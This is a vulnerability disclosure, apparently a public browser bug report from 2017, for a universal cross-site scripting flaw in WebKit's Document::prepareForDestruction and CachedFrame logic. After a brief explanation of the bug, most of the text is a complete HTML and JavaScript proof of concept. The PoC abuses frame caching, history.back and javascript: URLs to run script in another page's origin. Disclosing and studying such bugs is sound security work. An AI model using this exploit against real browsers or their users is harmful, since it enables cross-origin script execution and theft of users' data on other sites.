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WebKit Document::prepareForDestruction / CachedFrame Universal XSS

Posted on 01 June 2017

WebKit: UXSS via Document::prepareForDestruction and CachedFrame

Here's a snippet of Document::prepareForDestruction

void Document::prepareForDestruction()
{
if (m_hasPreparedForDestruction)
return;
...
detachFromFrame();

m_hasPreparedForDestruction = true;
}

Document::prepareForDestruction is called on the assumption that the document will not be used again with its frame. However, if a frame caching is made in Document::prepareForDestruction, the document's frame will be stored in a CachedFrame object that will reattach the frame at some point, and thereafter, the document's frame will be never detached due to |m_hasPreparedForDestruction|.

PoC:
<body>
Click anywhere.
<script>
function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}

function waitFor(check, cb) {
let it = setInterval(() => {
if (check()) {
clearInterval(it);
cb();
}
}, 10);
}

window.onclick = () => {
window.onclick = null;

w = open(createURL(''), '', 'width=500, height=500');
w.onload = () => {
setTimeout(() => {
let f = w.document.body.appendChild(document.createElement('iframe'));
f.contentWindow.onunload = () => {
f.contentWindow.onunload = null;

w.__defineGetter__('navigator', () => new Object());

let a = w.document.createElement('a');
a.href = 'about:blank';
a.click();

setTimeout(() => {
w.history.back();
setTimeout(() => {
let d = w.document;
w.location = 'javascript:' + encodeURI(`"<script>location = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a></scrip` + `t>"`);

let it = setInterval(() => {
try {
w.xxxx;
} catch (e) {
clearInterval(it);

let a = d.createElement('a');
a.href = 'javascript:alert(location);';
a.click();
}
}, 10);
}, 100);
}, 100);
};

w.location = 'javascript:""';
}, 0);
};

}

</script>
</body>

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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